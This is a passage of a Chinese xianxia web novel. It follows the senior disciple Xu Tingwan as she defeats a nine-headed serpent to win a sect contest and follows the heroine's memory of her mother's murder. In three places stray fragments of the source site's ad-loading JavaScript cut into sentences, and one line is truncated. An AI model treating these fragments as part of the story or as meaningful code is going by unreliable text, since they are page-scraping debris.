柳清云闻言,点了点头,目光转向江月平,手中握持的小刀不禁微微颤抖。竹叶刃深埋体内,需医师以小刀细心剔除,但面对小师妹,他难免感到拘谨与不安。 “大师姐,你帮小师妹挖出来吧,这个位置我不太适合” 徐听晚颔首应允,缓步上前,接过他手中的小刀。 的确,那位置颇为敏感,正位于左胸之上。 徐听晚缓缓解开她的外衣,露出里衣,再小心翼翼地将其向下拉,见露出过多肌肤,她迅速贴近江月平,从储物袋中取出一件披风,迅速覆盖在两人身上,巧妙地避开了秘境水镜的窥探。 里衣被拉到足以清晰显露伤口的位置,她的胸部隐约可见,徐听晚略感尴尬,她低下头,全神贯注地开始用小刀挖掘伤口里的竹叶刃。 竹叶刃深埋其中,徐听晚另一手轻轻按压在江月平胸部的上方,以稳定其位置,随后用力向内挖掘。终于,竹叶刃的尖端显露出来,她迅速调动灵力,将其牢牢控制,并一鼓作气地将其拔出。 “嘶…”披风下的空间昏暗,喘息声却异常清晰。 “忍一下,我要上药了。”徐听晚轻声说道。 她探出头,对柳清云说:“把药给我。” 柳清云迅速递上止血带、丹药和敷用的灵药汁液,并解释道:“丹药是口服的,灵药汁液是用来外敷的。” 徐听晚眉头微皱,反问道:“我看起来像是分不清这些的蠢货吗?” 柳清云闻言,脸上闪过一丝委屈。 “大师姐,如果你之前没有因为误服了我给你的灵药汁液而责怪我,我是不会特意提醒的。” 徐听晚仔细回忆,确实有这么一回事。那次她因受父亲责罚,便想着顺道去找这位丹修师弟求药。 那时她未曾料到丹修还会调配这种恢复速度远超口服丹药的灵药汁液。 关于灵药汁液的使用,务必依据丹修的精确指导,因其用途广泛且复杂。不当使用非但不能治愈,反有加剧伤势之虞。 “我记下了。”她有些尴尬的回应道。 徐听晚迅速将丹药送入江月平口中,指尖不经意间掠过她的唇瓣,随即她迅速进行下一步操作。 她熟练地敷上药膏,并将止血带轻轻嵌入伤口之中。对她而言,这样的处理已是家常便饭,每当自己受伤时,也是这般服下丹药,再以止血带包扎,不久便能痊愈。 柳清云关切地询问:“小师妹,伤口周围可有泛红之状?” 徐听晚仔细审视后,似乎察觉到了些许红晕,却又不甚确定:“要多红才算?” “大约与三师兄的衣裳颜色相仿。” 徐听晚摇了摇头:“那倒没有。” “那便无碍了。” 正当徐听晚欲为江月平更衣时,江月平却突然自己动手,迅速穿戴整齐。 徐听晚恍然,方才诸多事宜,她本可自行处理,她只需助她拔出竹叶刃即可。 而且她在这方面的技艺尚显生疏,不慎将伤口拉扯得更大了一些。 真是太冒事了。 她收回披风,轻声在江月平耳边致歉:“对不起,我并非有意让伤口扩大,只是手法尚不纯熟。” 江月平闻言,猛地后退一步,微微点头。 徐听晚心中暗自嘀咕,怎觉她的耳根似乎有点红。 石观明眉头紧锁,沉声道:“大师姐,出事了。”他凝视着手中的手牌,众人也纷纷查看自己的手牌。 手牌上的人数急剧减少,徐听晚身形一展,借势跃上竹梢,四处张望。 只见远处一片竹林轰然倒塌,一头至少化神后期的九头蛇妖赫然显现。 柳清云仰头急呼:“大师姐,那边发生了什么?” 徐听晚迅速跃回地面,压低声音道:“有人御剑飞行,惊扰了秘境的守护妖兽——九头蛇妖。” 温乐天眉头紧蹙:“玄天剑宗长老不是告诫过,不可御剑,不可使用飞行灵器,以免触动阵法,引出九头蛇妖吗?” 徐听晚果断下令:“贴上隐匿符,远离那片区域,同时留意令牌上的淘汰信息,一旦全员淘汰,我们也立即撤离。” 她补充道:“保持警惕,这场试炼恐怕要提前结束了。” 石观明忧虑道:“九头蛇妖嗅觉敏锐,想要避开它的追踪极为困难。” 徐听晚轻叹一声:“只剩下三个沧澜符宗弟子,他们应该很快便会暴露。” 秘境外。 混元丹宗的掌门常德,一脸淡然地斜倚在椅中,显得毫不在意。 他宗内的亲传弟子,三修丹修两剑修,本就大概率不能在这场对决中胜出。 混元丹宗数万年的秘境对决,都是存在一个参与的作用,而此次,他决心让所有人都不得安宁。 这阴损方法便是他告诉弟子的。 一夜过后,混元丹宗仅余两名剑修弟子,步履维艰之际,又遭沧澜符宗弟子拦路,情势之下,他们索性破罐子破摔,大家都一起出局。 众掌门面色凝重,唯徐君彦嘴角微扬。 这事没影响到五行道宗算是捡了个大便宜。 现在他对宗门秘境对决第一之位志在必得。 此次榜首宗门之奖,实为丰厚至极,玄天剑宗设立,三千上品丹药及三千上品灵石。 被淘汰的亲传弟子们,目光紧锁水镜之上,战局已缩减至五行道宗与沧澜符宗两强相争,胜负即将揭晓。 秘境里。 徐听晚一行人,与那片倒 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 伏的竹林渐渐离远,四周静谧得令人心悸。 九头蛇妖的动静全无,按常理,其庞大身躯移动,必会伴随着竹林轰鸣,而今秘境之内,唯有死寂。 “大师姐!” 徐听晚闻声回首,只见江月平疾冲而来,她本能地抬手防御。 察觉她的戒备,江月平面色一黯,拼尽全力将她推开,自身却已无力逃脱。 霎时,九颗蛇首破土而出,一蛇一口,瞬间吞噬了江月平及其他师弟,变故之快,令人咋舌。 此刻,御剑飞行已无惧暴露。 徐听晚果断祭出判决剑,剑指首片倾颓的竹林,御风而去。 已知那片狼藉之地,曾有沧澜符宗弟子跟随其他弟子一同淘汰,那么剩余三人必在附近。 三人若仅凭双腿,绝无可能逃脱九头蛇妖的追击;而御剑又会触发阵法,引来蛇妖。他们既未至此,便只有一种解释——原地藏身。 何处能避过蛇妖的敏锐嗅觉? 身后蛇妖穷追不舍,徐听晚操控灵剑,灵活穿梭于林间,轨迹曲折如蛇。 “我这走位无敌!” 徐听晚想起她初到这世界的画面,突然,她嘴角微扬,心中忽有所悟,他们的藏身之处已呼之欲出。 念及江月平舍身相救,徐听晚眸光黯淡,心中五味杂陈。 秘境外。 温乐天缓步至江月平身侧,轻声问道:“小师妹,你认为大师姐能否寻得那三人踪迹?” 柳清云目光紧锁水镜,略带无奈地说:“这三人狡猾异常,竟藏匿于此。” 江月平淡然回应:“不知。” 温乐天嘴角微扬,继续道:“没想到小师妹与大师姐情谊已深。反正我深信大师姐定能胜出,自我入门以来,大师姐就从来没输过。” 那时,他与柳清云并肩而立,小师妹则位于后方。察觉异样,小师妹迅速行动,将二人推开,绕过石观明,高声呼喊,直奔向大师姐。 江月平静默不语,目光专注地锁定在水镜中的徐听晚身上。 秘境里。 徐听晚心无旁骛,径直向心中所想的地方飞去。 因距离问题,九头蛇妖竭力伸长一颈,反复辗转腾挪,难以捕捉她的身影。 然而,躲避并非次次奏效,她的灵剑突遭蛇首重击,只是这一撞,护体灵力瞬间瓦解,她紧握判决剑,急速坠落。 此番境遇,与初临此地时颇为相似,唯异处在于,她此番无丝毫惧色。 鲜血自口中溢出,她目光如炬,于蛇尾将至之际,敏捷翻滚避让,却在中途掉落了黄玉银蝶簪。 思绪空白一瞬,她迅速回身,于千钧一发间夺回发簪,与蛇尾擦肩而过。 紧握发簪,她再次跃上判决剑,无灵力护体,狂风如利刃般切割着她的肌肤。 她紧眯双眼,拭去嘴角血迹,抬手抵御部分狂风,目光坚定,汇聚全身残余灵力,毅然决然地冲向心中猜想之地。 九头蛇妖穷追不舍,猛然间一头撞向徐听晚,她猝不及防,被狠狠撞飞至前方那片倒伏的竹林之中。 她挣扎着从地面爬起,竹叶如刃,无情地划破了她的胸口与脸颊,留下一道道触目惊心的伤痕。 她颤抖着手将发簪别入腰带,手持判决,坚定地迈向地面上的巨洞。 一切正如她所料,此局,她胜券在握! 徐听晚满身是血的站在洞口,沧澜符宗的三人目睹此景,惊恐万分。 他们之所以能躲避九头蛇妖,全因为这洞里有浓烈的九头蛇妖气味,巧妙地掩盖了三人的踪迹。 她满身血污,血腥味难以掩盖,九头蛇妖汹涌而入洞口。 “一切,到此为止。” 蛇妖九头齐动,攻势凌厉,但徐听晚身形矫健,一跃而起。那三人措手不及,瞬间被蛇头吞噬。 她本欲立即撕符离去,想了想转而踩向蛇尾,疾奔洞口。 三只蛇头怒张巨口,却因距离所限,只能眼睁睁看着她逃脱。 徐听晚迅速查看手牌,果然那三人已被吞入蛇腹却并未撕符离开。 她灵力已尽,只得收起灵剑,全凭双腿狂奔。 竹林间,她身形如电,巧妙避开无数青竹的阻碍。九头蛇紧追不舍,蛇头逼近之际,她精准踏弯一根青竹,卡住蛇口,借势翻身跃上蛇头,在九颗蛇头间灵活穿梭,部分蛇头因此打结。 终于,她找到机会打开手牌,确认三人已出局。脚下一蹬,正当她即将摔落之际,果断撕下符咒,瞬间消失无踪。 19.五行道宗大师姐 徐听晚本以为自己会重重摔在地上,却意外落入了一个坚实的怀抱。 她勉强睁开眼,在这银装素裹的冬日里,一抹鲜艳的红格外引人注目。温乐天满脸笑意地望着她,兴奋地喊道:“我们赢了,第一名!” 她微微一笑,轻拍他的胸口,示意自己可以站立。 温乐天却摇头坚持:“大师姐,你受伤了,我抱着你,稳得很,别担心。” 徐听晚试图开口,却因脸上的伤口而轻呼出声。 这时,石观明走过来,严肃地命令温乐天放下她。柳清云则迅速递上丹药,温乐天无奈耸肩,轻轻将她放下。 徐听晚站稳后,拒绝了所有伸来的援手,自行擦拭脸上的血迹,一步步坚定地走向众掌门。所有人的目光都聚焦在她身上,姜满站起身,高声宣布:“本次大赛,第一名——五行道宗!” 温乐天兴奋得跳了起来,跑到徐听晚身边欢呼雀跃:“大师姐,我们真的是第一名!”徐听晚望着他,笑容温暖,但目光转向徐君彦时,那抹笑意稍纵即逝。 姜满续言:“奖励之事,我自会亲交徐掌门手中。” 徐君彦面带微笑,缓缓步前,于众人瞩目之下,轻取徐听晚腰间发簪。 江月平面色骤变,显露紧张之色。 他温柔的为徐听晚整理好发髻,将发簪重新插在发中,温声道:“不必如此拼命,不管什么名次父亲都视你感到骄傲。” 此情此景,任谁观之,皆会赞其父爱如山,温和慈蔼。 众宗门掌门对此习以为常,徐君彦一向是个温温和和,不争不抢的谦谦君子,唯有姜满嘴角微扬,眼神中藏着深意。 “谢父亲关怀。”徐听晚拱手,言辞坚定,“孩儿欲继续游历四方,力求突破金丹,迈入元婴之境。” 此言一出,气氛微妙。徐君彦碍于众目睽睽,难以回绝,只得以柔和之态叮嘱:“历练之路,凶险难测,务必小心谨慎。” 姜满含笑走近徐听晚,轻触其腰间九玉缠金吊坠,一缕剑意悄然融入。“我甚看好你。”她目光转向江月平,“你二人真是缘分匪浅,同得这世间唯一一对九玉缠金吊坠。” 言毕,她凝视江月平片刻,眼神中似有片刻恍惚。 徐听晚转首望向江月平,语带温情:“小师妹于我,如同亲妹妹一般。” 除玄天剑宗与混元丹宗外,其余宗门弟子心中难免不甘,暗叹若非混元丹宗弟子搅局,此番榜首或另有所属。 书卷论坛上: “天呐!!!!” “这五行道宗大师姐……” “刚才看她与那九头蛇妖对抗紧张死了。” “她刚才用青竹堵蛇嘴真是帅呆了。” “我这辈子都想不出这操作。” “你们说她是怎么知道那三个人在那啊?” “同问。” “同问。” “其他同门因九头蛇妖的威胁而退出战局,徐听晚推断,他们三人定和其他宗门师兄弟在一起,亦难逃遁,唯有就地隐匿。鉴于九头蛇妖嗅觉敏锐,寻常隐蔽之法难以奏效,她遂断定,那三人极可能藏匿于蛇妖气息最为浓烈的蛇洞之中。” “……是我太蠢了吗?” “上面的,你不一个人,反正那种情况下,我是什么都想不出来的。” “别想了,根本不会有这种情况出现,因为我们根本躲不开,所以我们通常是那个一口被吞的。” “……我讨厌说实话的人。” “他说的挺委婉了,要是让五行道宗那大师姐说,不知道多伤人。” “……确实。” “你说她在外历练,我们能遇见她吗?” “遇见了你想干嘛。” “我想问她对于被书卷人评上第一美人的想法。” “你敢问,我就敢裸奔。” “好好好,你别让我遇上她,来来来,你与我私聊,告诉我你现在住什么地方。” “来就来。” 秘境对决落幕,徐听晚心中盘算着返回上北城的居所静养伤势。 不料,众人竟纷纷尾随而至。 徐听晚的伤势已大为好转,面容与身体上的轻伤几近痊愈。 上北城的雪已止,但地面仍铺着一层未融的白雪。 “你们不回宗门?” 徐听晚望向院中悠然自得的众人,轻声问道。 温乐天摆手笑道:“大师姐,我向来不回宗门。” 石观明则温柔的将糕点送入浅云口中:“回去也无趣,不如随大师姐游历四方。” 柳清云目光追随江月平,轻声道:“大家在何处,我便在何处。” 江月平感受到众人目光,抬头沉声道:“我有要事需办。” 温乐天嬉笑着靠近,轻拍其肩:“小师妹,想与大师姐同行直说便是。” 江月平避开其手,起身言简意赅:“说了是有要事。”言毕,她眉头紧锁,步入屋内。 徐听晚望着她的背影,眼神微黯。 气氛骤冷,温乐天却浑然未觉,兴奋地凑近徐听晚。 “大师姐,我们接下来去哪儿?” 徐听晚抬手扶正他的金冠,正色道:“先在上北城稍作休整,随后前往下南城。” 温乐天好奇追问:“去下南城有何目的?” 徐听晚与石观明交换眼神后,简洁明了地答道:“调查二十年前天灵根化神散修古忆南之死的真相。” 温乐天闻言,更加好奇地凑近询问缘由。 石观明猛地将他拽到一旁,沉声道:“我与大师姐幼时,亲眼在五行道宗后山禁地目睹了他的遗体,大师姐甚至偷听到师父与师娘密谋要吞噬此人。” 温乐天笑容瞬间收敛,柳清云则在一旁瞪大了眼睛,满是惊愕。 徐听晚步步紧逼,靠近温乐天,低语警告:“若想活命,此事万不可泄露半句。” 温乐天迅速眨眼,以示明白,默默点头。 柳清云的目光不经意间转向江月平的房间,那扇窗半掩着。 石观明从怀中取出古籍,言简意赅:“书卷论坛中,有他的蛛丝马迹。他最初现身于下南城的一偏远村落。” 温乐天闻言,微微颔首,陷入沉思。 柳清云轻声道:“这便是大师姐迟迟未归宗门之因吗?”他拿出灵草用灵力将汁液挤出,将各种汁液调配起来。 徐听晚微微颔首,旋即又轻轻摇头,低语道:“我猜测回去不会有什么好事。” “何故?”温乐天不解追问。 “因为……小师妹救了我一命。”徐听 言简意赅,却令其余三人困惑不已。 徐听晚似无意再深入解释,气氛一时凝滞。 柳清云眉头紧锁,继续追问:“大师姐,您为何要揭露自己的父母亲?” 徐听晚疲惫地望向柳清云,缓缓道:“他们能对他人痛下杀手,我们又岂能幸免?” 闻言,柳清云不解道:“可你是他们的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 女儿……”突然反应过来,抬头看见徐听晚疲惫之态,终是将后半句咽了回去。 他难以置信地瞪大双眼,众人皆陷入沉默之中。 温乐天忽地跃至江月平窗前,兴奋道:“小师妹都听见了吧?要不要和我们一起行动?” 江月平迅速合上窗扉,温乐天猝不及防,被窗棂撞得捂住鼻子。 “我有要事需留在上北城处理。”她简短回应。 温乐天揉着鼻子,嘟囔道:“拒绝便拒绝,何故动手?小师妹何时变得如此急躁了。” 柳清云沉思片刻,提议道:“那我留下陪着小师妹吧,让她一人在这不太好。” 温乐天揉着鼻子,无奈应允:“行。” 徐听晚缓步上前,轻轻推开窗户:“月平,若遇难题,随时用书卷联系我。” 江月平显然未料到她会如此直接推窗,眼眸圆睁,凝视着携光而至的徐听晚,两人的鼻尖在不经意间轻轻触碰。 她瞬间愣住,旋即急退数步,而徐听晚则显得颇为淡然,略带歉意地说:“抱歉,吓到你了。” 徐听晚身着浅黄衣裳,光线透过轻纱,映照在她白皙的肌肤上,那双平静而淡漠的眼眸,犹如枝头桂花含露折光,尽显芳华。 江月平紧蹙眉头,转身拿起桌上的书卷,沉声回应:“知道了。” 徐听晚正欲将窗关至半开,江月平却突然开口:“大师姐,若你遇到麻烦,也请用书卷告知我。” 她并未直视江月平的脸庞,只隐约感觉到她靠近,轻轻地将手覆在她正欲拉合的窗棂上,缓缓将其合上。 徐听晚不由自主地后退一步,心中暗自思量,这样的距离或许刚刚好。 只是她的心中还有一丝空落。 她不明白自己的情绪,也许是对两人关系难以再进一步的遗憾。 可那些已造成的伤害,即便再努力也无法完全弥补。 最后,她心中默默宽慰自己,至少现在,江月平不再逼迫自己去附和她的亲近,明白她不会再伤害她了。 徐听晚转身,静静地走回了房间。 没过多久,江月平悄然离院,御剑穿梭至一条幽深小巷。 巷内,一座焚毁的医馆静立,中央矗立着一块墓碑,镌刻着“江枝意之墓”。 年复一年,自发前来清扫的人络绎不绝,他们皆是江枝意昔日救助的人们。 院落整洁,无丝毫杂草侵扰,诉说着主人的温婉与善良。 然而,就是这样一位温婉女子却惨遭灭门,一剑穿心,命丧黄泉。 医馆出事前,江月平被江枝意藏于小箱之中,虽避开了利刃,却险些被大火闷死在里面。最后全凭心中强烈的恨意,她顽强地生存了下来。 那时,她隐约在外面的打斗声中听见母亲的声音,欲打开箱子,却被母亲温柔而坚定地按住。透过箱缝,她目睹了母亲满身血污,轻声细语地留下遗言,最后将丹药塞入箱内,气息渐弱,终至消逝。 熊熊烈火吞噬了一切,唯有那小箱奇迹般地完好无损。 待外界归于沉寂,江月平毅然开箱而出,小箱随即黯然失色,终被火焰吞噬,化作冲天火光,一切痕迹尽失。 现场空无一物,线索全无,凶手动机成谜。并非图财,母亲也并未得罪过他人,仅留一地血腥与不解。 江月平心中疑惑重重,母亲生平与人为善,何以招致此祸? 正当她沉思之际,忽感肩上一轻,转身之际,只见姜满掌门立于身后! 20.故友 “姜掌门。”江月平拱手,身形微退。 姜满摆手步入医馆,轻触墓碑,问道:“你为何而来?” 江月平轻声回应:“家父家母曾受江医师之恩,特来祭拜。” 姜满点头,目光凝视她,片刻恍惚:“你与我一故友极为相似。” “谁?”江月平问。 “踏雪剑仙—古忆南。”姜满轻叹,眼中闪过一抹哀伤,“他失踪已久,外界都说他遭遇不测尸骨无存。” 江月平心中一愣,猜测问:“姜掌门可认识江医师?” “我与她是故友,我们三人曾是故友,只可惜两人都在差不多的时间段相继离开了我。” 江月平闻言,凝视姜满,那份感慨不似伪装。 春雨绵绵,雪水汇聚成潭,雨落其上,声声似心语。 江月平急取油纸伞,欲递予姜满。 姜满轻笑一声,食指微微一抬,头顶的雨被灵力挡住,这做法极耗费灵力,而她却面色自然。 江月平收回那把油纸伞,看着浅蓝色的水灵力在姜满头上运转。 “你也看得见吧。”姜满笑着指了指头顶。 江月平点了点头。 “忆南哥也是天灵根,他也能看见,所以他总和我们介绍不同灵力的颜色。” 姜满侧目墓碑,眼中神色复杂,那场大火在她眼眶燃烧。 那一年她成为了天下第一,但失去了两个最重要的挚友。 春雨驱了冬雪仍暖不了多少,反湿了一片眼眶和手心。 江月平皱眉:“姜掌门可知江医师灭门之事细节?” 姜满摇头:“枝意在灭门前曾赴下南城寻忆南哥,之后忆南言告诉我,他要去五行道宗,而我正忙于讨伐魔教前教主安澈,其余不详。” “你想查此事?”姜满问。 江月平摇头:“未曾有此念,只是好奇。姜掌门可有查过?” 姜满叹息:“线索难觅。听晚伤势如何?” “外伤已愈,内伤需静养。”江月平答。 姜满递上一瓶丹药:“烦请转交听晚,宗门事务繁忙,今日特为故友祭日而来,时辰不早,我该回了。” 江月平点头应允。 两人背对背离去,姜满迈出几步后,沉声言道:“若你想查此事真相,随时书卷问我。我也想知,究竟是何人能狠心杀害枝意,她那般纯真善良之人,究竟碍了谁的路,非置她于死地不可。” 言毕,她御剑疾驰而去。 江月平转身凝视着破败的江家医馆,儿时记忆涌上心头,鼻尖萦绕的木炭气息瞬间将他拉回现实。 胸口隐隐作痛,预示着今夜丹药的副作用又将发作。 每月此时,痛楚如万箭穿心,仿佛全身骨骼尽碎,碎骨又似利刃,在血肉中反复切割,令人痛不欲生。 江月平听着雨声,缓缓走回院落。 院落门口,徐听晚在一旁强忍着笑意,而温乐天则正站在梯子上,在门口忙碌地摆弄着什么。 见到江月平归来,徐听晚眼神闪烁,嘴角勾起一抹浅笑,轻声道:“月平,你回来了。三师兄非要给咱们院子起个名,挂个牌匾。他最初提议‘月仙院’,怪得很,我就给改了个名,叫‘立春院’,你觉得如何?” 温乐天在一旁插话道:“‘月仙院’这名字,其实是源自书卷上,现居美人榜第一大师姐画像下的评语,‘身着秋月色,貌若天上仙’。哈哈哈哈哈哈。” 徐听晚闻言,转头瞪了温乐天一眼,鼻尖微皱,似有不悦。 江月平紧握伞柄,心中暗自思量:为何,为何她对我总是笑的那般勉强?与旁人相处时,她笑得那般灿烂,唯独对我,从未有过那般真挚的笑容。 她走到徐听晚面前,将手中的丹药轻轻递给她,淡淡说道:“这是姜满掌门托我带给你的。”言毕,她便转身步入院中,回到自己的屋子。 徐听晚敛去笑容,目光低垂,凝视着手中的丹药瓶,心中暗自思量,自己明明已尽力展现最柔和的笑容,为何小师妹依旧对她保持着那份难以逾越的疏离。 过往的种种,是否已注定她们之间只能维持现状,再也无法拉近彼此的距离? 看小说时,真的很欣赏她的… 近几日来,她竟渐渐有些模糊了另一个世界的记忆,那段时光仿佛已遥远得如同隔世。 “大师姐!瞧瞧我亲手制作的牌匾,是不是按我说的安上去后,整个院子都焕然一新了?”温乐天的声音打断了她的思绪,徐听晚收起思绪,目光转向牌匾,轻轻颔首道:“确实不错,起初那全金牌匾,委实太过刺眼,如今以红木为基底,金线勾勒,金字镶嵌,确是雅致了许多。” 温乐天闻言,笑中略带几分得意,却也不反驳,只是俏皮地皱了皱鼻子。 徐听晚见状,嘴角不禁微微上扬,轻笑道:“像个猴一样。”言罢,两人相视而笑。 随后,温乐天冒着雨将梯子置于石墙旁,徐听晚见状,眉头微蹙,拿起一旁的伞便追了过去。 “非要淋这个雨是吧!” 温乐天狡黠一笑,放完梯子,迅速躲入徐听晚的伞下,笑道:“这可是立春的雨,多淋些,福气自然来。” 徐听晚闻言,不禁嗤笑,道:“这又是哪来的传闻。” 温乐天得意地指了指自己,笑道:“这是我的传闻,我的传闻,我说什么是什么。” 两人一路嬉笑打闹,直至温乐天因雨中的泥腥味而求饶,徐听晚才放过他。 徐听晚疑惑地询问:“你为何要在身上涂抹这白茶花的汁液?” 温乐天眼眸微闪,片刻的愣怔后,旋即展颜一笑,轻声道:“因为它香气宜人,大师姐,你闻闻看,是不是特别清新好闻?” 徐听晚敏锐地捕捉到了他那一瞬的微妙变化,却并未深究,只是靠近轻嗅,随即眉宇间流露出惊喜之色,赞许道:“确实不错。” 听到她的肯定,温乐天的心情显然愉悦了许多,他自顾自地又嗅了嗅自己,憨笑道:“嘿嘿,我也觉得很好闻。” 此刻,石观明与柳清云立于大堂之内,一人观雨,一人观人。 回想起自己曾借由纸条,向温乐天揭露徐听晚对江月平的陷害,促使温乐天与大师姐产生争执。 而今见二人和好如初,他心中满是烦闷。 他不想这样的,可明明自己才是那个最了解、陪伴大师姐最久的人,现在却感觉自己仿佛成了局外人。 两人步入大堂,温乐天半身湿透,红衣黯淡,显得颇为狼狈。 徐听晚忍俊不禁,轻扶其金冠,正色道:“身为宗门亲传,仪表不可失。” 温乐天随即以灵力烘干衣物,满不在意道:“此处无外人,我恨不得不穿外衣打玄铁,每次打玄铁都热死了,溢出来的火灵力差点给我屋子点了。” 徐听晚戏谑一笑:“你若敢不穿外衣,我便用你刚打好的玄铁,给你一个满是烙印的皮。” 柳清云适时插言:“大师姐,我这有无望灵草之液,滴于烙铁,烙印永在,无法抹去。” 温乐天轻轻摆了摆手,笑道:“大师姐,我只是随口说说,可别当真。” 三月过去。 徐听晚自觉摔断的骨头已渐愈,内伤亦不再隐隐作痛。 尽管伤势不轻,但止痛丹的效用让她几乎忘却了疼痛,整日里行动自如,四处闲逛。 “观明,咱们是时候启程了。”她轻声道。 石观明搁下笔,点头应允:“好,我这就去唤温乐天整理行装。” 徐听晚望向窗外炽热的阳光,心中暗自思量,下南城之行定将更加酷热难耐。 “我还是先去与清云和月平道个别吧。” 她步至柳清云房前,轻叩门扉,随后传来的是略显迟缓而陌生的脚步声,令她心生疑惑,这步伐不似柳清云常态,倒像是…… 门扉轻启,映入眼帘的果真是小师妹的身影。原来,是江月平抢先一步为 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 柳清云开了门,令后者略显讶异。 “小师妹,你怎会在此?不过也好,我正有事要与你们二人说。”徐听晚边说边拉起江月平的手,步入屋内。 “大师姐有何要事?”柳清云见状,开口询问。 江月平悄然挣脱了徐听晚的手,静静地坐在一旁,周遭的空气似乎都带上了一丝微妙的意味。 她心中暗自思量:为何她先是寻了柳清云,而后才转向自己? 徐听晚略显尴尬地收回手,也在一旁坐下,准备开始她的话题。 "我们即将启程前往下南城,特来辞行。" 柳清云轻眨明眸,兴奋道:"小师妹方才告知我,她将随大师姐一同探寻古忆南之死的真相。" 江月平迅速接茬:"这边的事已经处理完,故能同行。" 徐听晚闻言,眼眸闪烁,颔首欢喜:"甚好,结伴而行,彼此照应,更为稳妥。" 其实,她先来找柳清云,是为了模拟一下道别话术,每次同小师妹说话,她都在心中细细斟酌,如何说的温柔又有趣。 众人整理完毕,徐听晚将钥匙逐一分发,回望立春院,半年多的居住,情感已悄然生根,下次归来,未知何期。 夏日炎炎,周遭景致皆显沉闷,温乐天更是精神萎靡,周身仿佛被热气温柔地包裹,是发呆还是昏沉,难以分辨。 一行人乘云舟前往下南城,途中,温乐天出奇地安静。 “乐天,你这几日,不是沉睡便是出神,可是有什么不适。”徐听晚关切地询问温乐天。 温乐天恍惚间应了一声:“大师姐,有何事?” 徐听晚扯了扯嘴角:“还能记得我是你大师姐呢,真是不容易。” 柳清云轻抚温乐天额头与颈项,解释道:“他火灵根体质,与常人不同,只要不热到一定情况就没事,这热对他来说,或许只是太过舒适和安逸,所以导致他一直犯困。” 徐听晚轻笑:“如此也好,宁静致远。” 她轻扯温乐天发丝,片刻后,温乐天方有回应。 “什么?” “无碍。”徐听晚笑答。 温乐天稍顿,回以“嗯”。 徐听晚转向柳清云:“若遇困境,他这般状态恐难应对,可有解法?” 柳清云取出一瓶丹药:“寻常避暑丹即可。其实,他这种状态挺好的,无需打坐便能吸纳灵力修炼。” 徐听晚轻敲温乐天额头:“这与打坐有何异?” 两人相视而笑。 徐听晚未曾察觉,远处始终有两双眼睛紧紧锁定着他们。 云舟之上,众人虽对她二人有所耳闻,却皆因敬畏而不敢轻易接近,只敢私下里窃窃私语。 “徐道友!” 徐听晚闻声转身,只见一名面庞稚嫩、肤色白皙的少年正向她奔来,微笑间虎牙微露,显得格外可爱。 “这不是玄天剑宗那对双生子亲传吗?”徐听晚心中暗自思量。 “我是周落私,这是我哥哥周启明。”少年爽朗地自我介绍,脸上洋溢着纯真的笑容。 徐听晚微微一笑,点头道:“真是巧,没想到能在这里遇见你。” 周落私兴奋地说:“是啊,我一直很期待能再次见到您。上次秘境之行,我还没来得及见您一面就被淘汰了。” 徐听晚轻轻应了一声,表示理解。 随后,周落私取出一卷书册,打开其中的留影石,置于两人面前。 “徐道友,能否请您打个招呼?”他略显紧张地请求道。 徐听晚眉头微蹙,不解其意:“这是为何?” 周落私清了清嗓子,解释道:“徐道友,我只是有一个问题想请教您,想借此机会记录下来。” 徐听晚闻言,点了点头,随即对着留影石轻轻挥手致意。 “徐道友,请问您对于自己在书卷上被大家评为第一美人有何感想?”周落私鼓起勇气问道。 “啊?” 21.下南城 徐听晚尚未来得及反应,周启明已迅速拉住自家弟弟,歉意道:“舍弟失言,望请海涵。” 周落私正欲被带离,徐听晚却已回过神来,嘴角勾起一抹轻笑,觉得此景颇为逗趣。 她大步上前,轻握周落私执书卷之手,目光落在书卷旁的留影石上,悠然言道:“我的想法……评语颇为难听,望能稍作修改。” 语毕,她笑靥如花,周启明凝视其侧影,不由自主地停下了拉扯的动作。 周落私兴奋地将录像保存,随即凑近徐听晚,急切问道:“我可否将此录像上传至论坛?” 徐听晚轻耸香肩,答道:“自然可以。”言罢,她摆手离去,留下一句:“后会有期!” 周启明站在原地,目送她的背影渐行渐远,而与他形似的弟弟则低头凝视着书卷上的录像。 “哥,想不想看场好戏?”周落私突然问道。 周启明眉头微蹙,不耐道:“何事?” “嘿,哥,你看这个,”周落私指着录像解释道,“有人与我打赌,若我能遇见徐听晚并询问她对书卷上被评为第一美人的看法,他就得裸奔。现在,我已经把录像发出去了,看他敢不敢认账!” 周启明的脸色瞬间阴沉下来。 周落私见状,继续道:“我已经把录像发出去了,他若不认,我就直接去找他。我有他的地址呢!” 周启明皱眉劝阻:“弟弟,何必如此咄咄逼人?再说,他怎会轻易给你真地址?” 周落私翻开书卷,指着一条消息笑道:“你看,这是他发来的地址——上北城霍家村落的泥屋偏左那一间。” 周启明嘴角微抽,提示道:“去掉首尾三字,倒序读一、三、五、六、八字试试。” “偏,泥,的,村,霍……” 周落私念罢,顿时语塞。 两人间突然陷入一片沉寂,周启明误以为弟弟已认出对方身份正是他,不料周落私只是愤然咆哮:“他竟然敢骂我蠢货?!” 周启明轻抚额际,无奈地向旁侧移步,周落私却急步上前,紧拽其衣袖:“哥,他骂我蠢材!” “实在过分,不过,弟弟,别往心里去。”周启明宽慰道。 此时,徐听晚因好奇凑近询问:“发生何事了?” 周落私泪光闪烁,转身望向她:“有人骂我是蠢货。” 徐听晚强忍笑意,温柔安抚:“别在意,说了又不能成真。” 气氛骤冷,柳清云瞥向大师姐,心中暗自嘀咕:这是在安慰吗? 周落私止住了哭泣,怔怔地望着徐听晚,片刻后方才领悟,苦笑回应:“徐道友言之有理。” 见周落私情绪平复,徐听晚以眼神示意柳清云,得意之情溢于言表:“看,我的安慰奏效了吧?” 柳清云嘴角微抽,目光转向别处。 周启明笑着询问:“你们此行下南城,有何打算?” 徐听晚随口答道:“寻找突破的机缘,且闻下南城正逢夏日泼水节,顺便去凑个热闹。” 柳清云挑了挑眉,大师姐还真是说的滴水不漏。 周启明点头提醒:“泼水节虽乐,但需注意安全,泼水节是越喜欢谁就泼谁越多,会有些不怀好意之人钻这个空子,务必小心。” 柳清云追问:“不怀好意之人?” 周启明摇头:“难以言尽,总之小心为上,但愿你们不会遭遇。” 